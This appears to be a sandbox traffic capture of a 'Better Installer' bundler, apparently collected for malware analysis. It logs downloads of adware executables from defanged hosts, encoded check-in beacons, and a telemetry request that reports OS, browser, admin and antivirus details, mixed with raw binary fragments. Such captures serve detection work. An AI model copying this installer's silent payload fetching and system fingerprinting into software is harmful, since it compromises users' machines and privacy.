. ...x....1..8..n.<..~..`.......dH~........5. .9y..`.".x.m.-.8b<
..^[email protected].!3F .4t.v.u.Z...8.......1..n.*U.<p....#z.W...o./.u..Ig*{
8......u.Wk.iV.5..#....g.C.y....b..'... |....f.%.H...R..t5..iV.h....8b
c.....9....qc<...P.5w..#.mI.....?. .e.."Q. }...-.H.Bju.\ZP..iJoZG..
5j.)..l.........;...w..z....x.?lk... .|...{(.E.w.q..Cve. . 7...d.[....
<s0.....].9....xl..l.&J-.RL......\P..-yX....T. .5..5.....c....m6...
.<..Q.j.#.U0/.#...T..:[email protected]..%;.....V.<...._....-g....!.ea.5..
[email protected].].........{pjG,`].....Y.H.v..l.?...#..QX6.c..bK..Mz.
m....{.E..n..g9..>j.n./..!...e.(..F..U.u.....".........k....D....-.
.......?.......C......J.{z.F...ja.S..q......'.pZ.Z.......B...... .<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=83916-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache



.....T.H.3..E.VW..|....}..t..}..t..}..t............}....S.....|....M.;
H.........|....z..t...|.....Q..........|....B.......|......U.;Q.|.....
..>.....|......U.;Q.}...|.....Q.K........|......H.;M.}...|.....P...
.........|.....<...R..|.....Q..........|....E..B.......Q.U.R.E.P..|
.....R.........................|.....Q..........|....B..............t.
3..q..........~.......^..........u.......K.........A.....|....y..t...|
.....P..........|....A.......|......M.;H.|.............|......M.;H.}..
.|.....P..........|......B.;E.}...|.....R.Y..............P.M.Q..|.....
....U...........}..u.3.......E................../t6...........\t(.....
......t.........Q...:t...x...........x.........x..................t...
....Rj.................P..|.....D...Q........3.......}..u..U..U..:....
E..........................................t<.........../t.........
...\u.......................................R......P.S............;...
..u.3.f.............. .......3.f..E............./t/.........\t#.......
..t..........:t...t...........t.........t....................*........
...p...........l.....l.....h.....p...f..f..f.....l...f..f...f....p....
....p.....l........l...f..f....u.........`.....`.....\.....`...f..f..Z
.....`....f..Z....u...`... .\.....\.....T.....P..............L.....L..
.f.H.f..J.....L....f..J....u...L.....T.....P.......................Pj.
.m.............|.....D.....D...........@.....@.....<.....D...f..f..
:[email protected]..:...f....D........D.....@[email protected]..:....u.........4.
....4.....0.....4...f..f........4....f.......u...4... .0.....0....<<< skipped >>>

GET /ajax/libs/jqueryui/1.10.3/jquery-ui.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Tue, 07 May 2013 09:09:49 GMT

Date: Wed, 15 Apr 2015 17:44:48 GMT

Expires: Thu, 14 Apr 2016 17:44:48 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 60666

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 222704

Alternate-Protocol: 80:quic,p=1
............kw...0.}...$.0.)r&.&.!..x..Y..{.N....!["..`.p......K......
......{WwWWU......_..N4.N.......l2.N..............=9Yw.6;?.......,.[H.
.Znv .f'.1..FL...V..ru#:/....~.US...o6..z...7.-..Ho.F,.PF.....5....%Le
U.....j..v#:..7...._.........(.M}.......V.Y..Z.g0^n.m8.A......z5..u1.S
o....o.....P...m...:..........oCY.rh.]ST.u.....yI..-..ro....Y.....^{..
..z...Z?..7........C. .S.......{`L'E.:...hN.u.5%...i/N.*..j..../_.<
9....6....T$w....EZ&wo...J..H.\L*X.o.[.c..~'..E ..........E..y3. (....
....u^M*.......gg..Yt[l.t5..<....... 8.P8.E4.G."J......8;k."I..Y...
e..u{>..N..p8{>`..._!.|.....d~*.0.x.WY$..c....L.i..44....y.M..4.
.r.....-.....gg.....o.dR.V.(..._\..[.....JT8.n.l..[.m.Q....>D.!.lDu
........y..]9.W..V._._t.=r.g..;.8.NT..S...0H.1..OG..........._....=..2
.].....~..~....._.|.2..o.......7...7.e.>.?.^~..../.x.......O.......
.._...U....o...w.?{......T.~...._?.*...:........2S)....T........}.gH..
J....x..... ...w....k..........=K.{......~?M...?....>.i>{..z....
)........ ....z.k3.Df.uR..z........u....>)..t.Q,..2......Z..*oE....
.e..8I[.x..h..}p..I&&.v.....hnv.....!..SM..l...;.y...<.8.D$.8;;....
.r....} .y8h...#...$.......]'..c...?...c..^5........u...q.x..y...5l..M
..JF........>.4..x.d.....h.s.......Hb.. ...I`....|Y..{.%....qy.."Q.
M7..#.x.P......nb.Km..A...4.\....t..fU...Q...h.8R..h...#...7M.>`..2
..h..U...8.t..9-.o.o...N..*Q...j...1N.2uzHwU........'.3L..j....<b..
.NF..V..6..V...l....\...w2...w].W../.FW....t.e.".........K....b......(
zSI...R.. <..[[email protected])pj"...)y1a.....W..]...<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1286329

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 23 Mar 2015 23:11:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b295958ba2703b4c378728a17388b7ff.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gksqu1Ck7RWK-T-3FRB5zPPgyJevhdREZd5FVRopL-rY_ixQbqt6_Q==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /18920.ashx?e=HfxXOGS/z9PT6EXPOQXbtZhoSg  lHwwQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaRHwteY6jbdnAuOtpoKe0emAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFdiKwrj11afInlMDvET1AqkEB1KJjJJfUAE70KA8ZXhbA8YCZx4974 zJt4fGRObk452zEuD36G9h9F6BDBmnZsR fXJinWV7npoW8o/g6d5g577mTPDhZg2zg/uCXuilY0oQa07NiSGsEjASvIF4HoX1dGgWnCEBVCDElAf1p3wmJROK kldW4J6blCBZVH/6vZ0Q0A71TyG5M31uXvEjKEsIucI0jO5DTMAOoTHsa8ghglp2MkM4N6cXEkRPtSLcdoZf351iL7eOIVv11ZBFiABXq4lJdSL4niG EEqyJ1imH/ytAEnP8g4OXBRL809EjwpD Gi/s2hki2VnUOF/T8SaNRCRsmEZ VHZOb8y8DxVk38YkIpfOlqEtcad3bi2w4EwNd3hnZzyAuKvxeUtJLZHb32Vyfmi39AMJZmA9cBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:47 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET //images/Tokyo/tokyo_default_logo.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d1tlvbabel9f8s.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3921

Connection: keep-alive

Server: nginx

Date: Wed, 15 Apr 2015 04:33:16 GMT

Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT

ETag: "552cd07a-f51"

Expires: Wed, 15 Apr 2015 04:43:16 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 511

X-Cache: Hit from cloudfront

Via: 1.1 f26a7d23e1ab981aa01bc947d210d6e7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _VnehGT7lFzQVWiySnpKsmN2GeoetBXcKJgGGtB_z6RDqoNLdUx2OQ==
.PNG........IHDR...0...0.....W.......sRGB.........bKGD..............pH
Ys.................tIME...../.fCI.....iTXtComment.....Created with GIM
Pd.e.....IDATh..Y{p\.}...w...}K Y..e.......[.6I.a.k.v2..f4N:.p..7&R3..
d\21i......I..0....&...T`..e....%.d.....]...{......a..-&g.7g_........!
..%{..u....9..|...B.\...o.l.............J....z.Q..Y.(J.RZ....h...{....
..s.)..=...Z..DKoooK___.cl........?..b.f...VD".....J...UU5.p8*.E......
....nEQ.PJA..... . ..z.`..-{.....RZI...R..94-c&.c.W_}.......u........7
...........e.Z.3..\WW...{....#I.....t*..G..w..(/.xp...... >........
z...>..D......u....;;;.p-...oFF..;....r.8......`...I.....1......g..
BL...$..?........4;..|..^^.l...1...t:.U.V]...s.r9455.6m..r8.3....={...
..k....9xgg......).`.!;..i..$..>....i....x2.d2.Db.....t..p.eLNBQ..B
!D"...aH..].q....m....F.........KJJ..c.x<..b.......R..2..2..T:....4
.p..L..a.$oZ.JH...b_....war........'O.<|]1v.:p.......~....X,..9.N'(
.`....L..i.0..a.f]...C(.B...n...G.?.@ .@(..a.8q......?x..g.y....O.V.\.
M..8...........y!..c.u.&3.p8.....z...........*.$...Ji.^.B..].}.......=
.....z...y!..C4....... .....d`...E.CQ..x,.z..*..l..A.....  ...!..`..u[
..`..O?........L/4..rD.Q...Au.....L2.._q. a..1..B.d011.......oR.TKOww[
2........BC.._.`.....r..(..y.v]..V`2...i.d2.O...E.4.........#...<..
c.$.Is...m^3...j.v.QRR.S...e.zp.h..-...iH..H.SH...u..R..............R.
.....H$.d2)...|....8d.......x..7.N...H..$Ip8.p8.PU.EEEp..V..*<^/.v.
..n.\...ntvv..@`..X.t&.B(.~?"..R..(.p8......j..........PU........8 .2$
;#YAL.$It...!r.1p....P8.ND"[email protected].*....RJ!Q..I..8AO...Q.t.z..<<< skipped >>>

GET /18118.ashx?e=/9ZmISdorEtPNjxRBLtb409PmrGON2wU/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lwjvoO1MsIPreLt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:47 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=503496-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 167832

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Content-Range: bytes 503496-671327/671328

PARAMETER...TEARDOWN....PAUSE...PLAY....SETUP...ANNOUNCE....Refusing t
o issue an RTSP request [%s] without a session ID.....DESCRIBE....OPTI
ONS.Got invalid RTSP request: RTSPREQ_NONE..Failed writing RTP data.Ca
nnot pause RTP....Cannot write a 0 size RTP packet....Got RTSP Session
 ID Line [%s], but wanted ID [%s]...Got a blank Session ID..Unable to 
read the CSeq header: [%s]....: %ld...Got an error writing an RTP pack
[email protected].._E..0E. `E. `E.........@0E.......
......D...t.G.N............HE..$E.."E.p.G...F...F...F.................
....................................EHLO %s.HELO %s.STARTTLS....AUTH %
s.AUTH %s %s..No known authentication mechanisms supported!...HELP....
%s %s...VRFY....MAIL FROM:%s SIZE=%s....MAIL FROM:%s AUTH=%s SIZE=%s..
..MAIL FROM:%s AUTH=%s....MAIL FROM:%s....%I64d...<%s>....<&g
t;..RCPT TO:<%s>....RCPT TO:%s..QUIT....Got unexpected smtp-serv
er response: %d.STARTTLS denied. %c.STARTTLS not supported..Remote acc
ess denied: %d....Authentication cancelled....Command failed: %d..MAIL
 failed: %d.DATA....RCPT failed: %d.DATA failed: %d.........SMTPS not 
supported!....AUTH=...localhost...........Failed to alloc scratch buff
er!.SMB.....`.G.0FE..... [email protected].......
..............NT LM 0.12..curl....i386-pc-win32...?????...\\..pop.POP3
..........G..PE..VE..NE.....0VE.._E. PE. `E. `E..........OE.....n....@
..D.....G. ... ........HE..$E. \E...G...F...F...F.....................
....................n...........CAPA....STLS....USER %s.APOP %s %s

<<< skipped >>>

GET /images/64x64.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:31 GMT

Content-Type: image/x-icon

Content-Length: 32038

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-7d26"

Expires: Sat, 18 Apr 2015 08:06:31 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
............ .h...F...  .... .........00.... ..%..V...@@.... .(B...:..
(....... ..... [email protected]{.[[
[.;;;/WWW.........................................jii.....efe.233.&%%.
!  ..--.[[[I............................[\\.,**.....]]\.011........."!
!.322.jhg?........................WWWg"!!...~.[ZY.   .........&$$./--.
`^^.........................vvu;#"".zwv.^\[.*)).........*((.755.wuuU..
..........................,  .rpp.`_^.))).........-  .ECC.............
....................544.ccc.RQo...?...2.....,*1.FEE...................
..............'&R.......x.! F.43?.KIJ.WUV.OMM.a__.mll/................
....}u..%%w.=<N.CA@.*((.&$$..,,.200.?==.jhh.gcd.NNNW........111gUTT
.....trq.YWV.?<<. .#.........#!!.301.QOO.xst.a__.{zz.110/....311
.^[Z.SQV.(';...T...8...............&.;::.`[\.vrs.QON3....(''.!...** ..
.....2.--....9...........#.! ".766.ZXX.omm.lll.........443Q''&.   ..-,
.A?=.$"".............&&&.<::.URR.cbb_................]]\.433u2//.20
0..,-.%##.........0//.FFF.\YY/................................sss.[[[/
>>>;ECC9][[%jgi..............................................
......................................................................
.............................(... ...@..... ..........................
......................................................................
......................................................................
.......................................vwy.ded VVWSAAA]555]POPMhgf#YYZ
..................................................................<<< skipped >>>

GET /images/16x16.ico HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Sat, 18 Apr 2015 07:36:31 GMT

Content-Type: image/x-icon

Content-Length: 1150

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-47e"

Expires: Sat, 18 Apr 2015 08:06:31 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
............ .h.......(....... ..... .....@...........................
........ppo....Mmnn.:<<.,* ., ,.EDD.}}}9........................
...._^` \[[.....Z\Z.,//. "!.........544....Y....................ttt.BA
A.755.....YYY.)**.........!. .....SRR.~}}%....................KKK.1/..
....XXW.''&.........$"".(%%.XWW.||| ....................eef. )).....\Z
[.&&'.........&$$..**.yxx.........................yxzq, *...x.cbV.''".
........ ...522....k.........................|q[-,$.hg..BA{...B...9. .
:.20:.DBB....Q........................LIeU..X.......y...H.1/D.FDM.QPS.
NLL.fdc.wwvsjii.................XV.g..p.75H.@?9.20'. *$./.,.1/..643.WU
V.lij.gee.....NNN-AA@O..|o....sqn.][N.:81.!. .........#!!. *(.GEE.uqr.
qmn.ppp.$$$. * .^[[..~z.caa.43B. .G...1............... .334.NJK.}xy.fa
b.HHI...../-,.0/2.......J.. ....@...............%. **.DBA.oll.olm.||}.
=;=.!  ........., A.A?d...&............." !.,-,.CBB.a`_....u....TTT.MM
MI@@?.-,*./-).30*.)&$.#!!.............022.MKJ.mkkw................VUU.
VTTKJII.DCC.;9:.,  .%$#.*((.=<=.YYYwged/srr........................
......................................................................
.......................................HTTP/1.1 200 OK..Server: nginx.
.Date: Sat, 18 Apr 2015 07:36:31 GMT..Content-Type: image/x-icon..Cont
ent-Length: 1150..Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT..Connec
tion: keep-alive..ETag: "5214ef07-47e"..Expires: Sat, 18 Apr 2015 08:0
6:31 GMT..Cache-Control: max-age=1800..Accept-Ranges: bytes...........
... .h.......(....... ..... .....@................................<<< skipped >>>

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=8605797-

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:39 GMT

Content-Type: application/octet-stream

Content-Length: 14342993

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 8605797-22948789/22948790
...|.9.!&..]....4...\..$..W....q....[.....w..x....J\3:..T......s...:..
-..8.....aV....N..Q..!.%4..w.1.V [email protected]'$0..wx..... /b.4o:S..D
.........U....3..._.?4(...0.u [email protected].*`....i..P.
Zv.R.&..U%.]pI.2.....mc.i.XFa...t.\...."1...<A....4..W)../W.....NA|
..O.......Hu..Q2..j<e..W$*. .....|l.R..\[email protected];N.......
4.f....\..iX...|.RH<.......}...4........p.r.....&..f......P..a.9.Q.
..Wr...\.....B?}..........V....{./7i-N.D.&.g..$..".....(.n$~..F...q.`.
...-......o].]a..}k..v.:..3..6.wV.}.....~....j...h.Y...O`5..f"'s..-..&
lt;..i.>....`[email protected].$...v....
.t{....m..,y..k.|......c_.g.kws-..>=..0R'..I.#X%S....*..... !s...^.
..W......v.{N...n&.=P.F..z..=^[email protected]:[email protected].....%.O
. 06...".oM...Q........V..X.mS,.*r"........}..?....Q....o._..]..~...}Y
...R.j.e..wV*..........g.....".. ....g/.'.=...`=1>=.2..hC.9.^..g...
..yq. ..F.@&.C.W.y,.k...]t$. ..:/.Iw.......G..\o7w....gY%..B..#Mq(...,
.<x]@[email protected]?.....B.IL.c^...'gJ
.,\=.K;.....(C..,.m....>......!.q...xT,........C.b.{.M..jC.Q.DRG..@
c....w..=..0.6o.. .F....O.ph.e.cj.(....M...6.X.](......m..o.Z?..l...k.
......rR.n.G.....S.t},Hs|."ok.6s..kBkmdq.v....k..u........te..l.......
....'........m.......[...m.6.c.G...#(%.*u.;.n,....xHQ..Y9._...,..=..$P
......&.e..Vm`[$y.......c%...........?.Q.d.G.=.RrY`........B3T.....p.'
n.7E..&).5c.M.Tx...P4..C...y.M.>.....85.u.#.6.MK.G..?.J...i.".3.8.i
F*f......;.....3>@[email protected]....:i.P].t[.. [email protected]..\.. <<< skipped >>>

GET /utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1429342557 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: FXX1xmOvFwpUvl9N33lkHcxmOTgVPDQjljMMhnT7s1WR6922raP1oVHduz0g/F3odXqAzFxnktQ=

x-amz-request-id: EB864312DFED05B8

Date: Sat, 18 Apr 2015 07:35:58 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: FXX1xm
OvFwpUvl9N33lkHcxmOTgVPDQjljMMhnT7s1WR6922raP1oVHduz0g/F3odXqAzFxnktQ=
..x-amz-request-id: EB864312DFED05B8..Date: Sat, 18 Apr 2015 07:35:58 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-18&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=D2C3D8ACABFF4453B526483BE0349472PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNEl3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429342557&procruntime=5&rnd=1429342562 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: fXCwJGkpJoLNjPzteaRWmeuXqjKkWLlWkKkKzHppTpybc84iN7Rb9xxl3gxLw13h2WG9V8V8tYo=

x-amz-request-id: 1B6DEC8FF05BC7A1

Date: Sat, 18 Apr 2015 07:36:03 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:13:52 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: fXCwJG
kpJoLNjPzteaRWmeuXqjKkWLlWkKkKzHppTpybc84iN7Rb9xxl3gxLw13h2WG9V8V8tYo=
..x-amz-request-id: 1B6DEC8FF05BC7A1..Date: Sat, 18 Apr 2015 07:36:03 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:13:52 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1429342562 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: CNQDfK8YRaf6ImL3QayQnTNQS6N/EZnkOPF3QxLPJnhoW0XvJRGXlN884m/5i7ekQ7bcs3o7OLo=

x-amz-request-id: 8B9B861D86094F31

Date: Sat, 18 Apr 2015 07:36:03 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1429342563 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: r/bOUunTFUCR4Lfyh0VbamD JH0sUlsq/NWG2FPAIrvDbrWY86TfhHBlVpyHCqKonZY6wH3r5sc=

x-amz-request-id: 5D24FB91D8ED8154

Date: Sat, 18 Apr 2015 07:36:04 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: r/bOUu
nTFUCR4Lfyh0VbamD JH0sUlsq/NWG2FPAIrvDbrWY86TfhHBlVpyHCqKonZY6wH3r5sc=
..x-amz-request-id: 5D24FB91D8ED8154..Date: Sat, 18 Apr 2015 07:36:04 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1429342564 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: LwXxF2yDvNfTzOI8/CFEY W1fKcDKr1TqX0wqzRjXjmljnPYJcwhtbzImZd SAdWEGaHu4fQYrk=

x-amz-request-id: EF4A803EF5CBE1DB

Date: Sat, 18 Apr 2015 07:36:05 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: LwXxF2
yDvNfTzOI8/CFEY W1fKcDKr1TqX0wqzRjXjmljnPYJcwhtbzImZd SAdWEGaHu4fQYrk=
..x-amz-request-id: EF4A803EF5CBE1DB..Date: Sat, 18 Apr 2015 07:36:05 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....

GET /utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1429342564 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: wyReFzhxndqzaH3KBZ53 yB0fhchXD91omB2tXhSIBbb5ottS2SBuBQTDnw7sw0hqLCgASqmctM=

x-amz-request-id: FCEE9E6759C35F25

Date: Sat, 18 Apr 2015 07:36:05 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1429342564 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

